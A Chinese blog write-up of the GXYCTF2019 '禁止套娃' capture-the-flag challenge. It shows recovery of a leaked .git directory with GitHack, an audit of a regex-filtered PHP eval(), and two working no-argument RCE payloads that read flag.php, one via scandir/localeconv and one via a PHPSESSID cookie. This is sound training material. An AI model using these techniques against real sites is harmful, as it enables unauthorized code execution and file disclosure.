[GXYCTF2019]禁止套娃--详解

本文介绍了通过分析网站目录,发现Git源码泄露,使用GitHack工具获取源码,之后审计PHP源码寻找执行@eval($_GET['exp'])的方法。通过两种方法(目录遍历与session_id利用)成功执行远程代码并获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

分析

法一

法二


分析

打开连接,发现啥也没有,只有一句话在那,看了源码、抓包数据也没发现啥,用dirsearch目录扫描一下,间隔设置为0.1线程设置为1,防止429,就是跑得比较久

等了一会,发现跑出了这些东西,应该是git源码泄露,我们可以利用githack获取源码,参考

GitHack -一个git泄露利用脚本 - 简书 (jianshu.com)

先用工具获取源码,打开终端 

python GitHack.py http://7d44aa8e-aa29-4340-97bd-c22e251fb5b2.node4.buuoj.cn:81/.git/

然后到工具所在目录找到index.php文件

打开文件 

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

 开始审计源码,我们最终的目标是执行@eval($_GET['exp'])

正则不太记得可以参考

PHP正则表达式,看这一篇就够了

函数不分大小写地过滤掉了

data://

filter://

php://

phar://

et

na

info

dec

bin

hex

oct

pi

log

 对于第二个if,参考别人的wp

 (?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。,引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,那么它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子

无参数RCE参考

无参数RCE总结_L1am0ur的博客-优快云博客_无参数rce

因为不能传参,所以只能利用函数回显套娃来代替目标参数,这题有两种方法解决


法一

利用函数找到并代替flag.php

先看一下flag文件的位置,构建payload

?exp=print_r(scandir(pos(localeconv())));

看一下上面的函数

localeconv(),回显数组,第一个数组是字符"."点号

pos(),传入数组,回显第一个数组的值,pos可以用current代替

所以pos(localeconv())等价于.号

而函数scandir(.)意思是以数组的形式回显当前目录下的所有文件

再配合print_r函数输出数组

flag在第四个数组里 ,我们只要想办法包涵这个文件即将flag.php调到第一个数组里或者是数组指针指向flag.php,这里有几个函数

PHP array_reverse() 函数 (w3school.com.cn)数组反转

PHP next() 函数 (w3school.com.cn) 数组指针移动下一位

所以可以先利用函数array_reverse将数组反转,flag就在第二位了,再利用next指向第二位数组,在用文件显示包涵即可输出flag.php文件,构造payload

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

 拿到flag

法二

利用session_id代替flag.php

方法就是先用cookie传参来设置session_id的值,session_id的值等于cookie中PHPSESSID的值,所以构建cookie头

Cookie: PHPSESSID=flag.php

在PHP中,session通常不会手动开启,需要利用php函数session_start来开启,所以可以构造payload

?exp=show_source(session_id(session_start()));

用burpsuite抓包写入cookie头

添加完http头后点击放行

 

拿到flag 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

金 帛

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值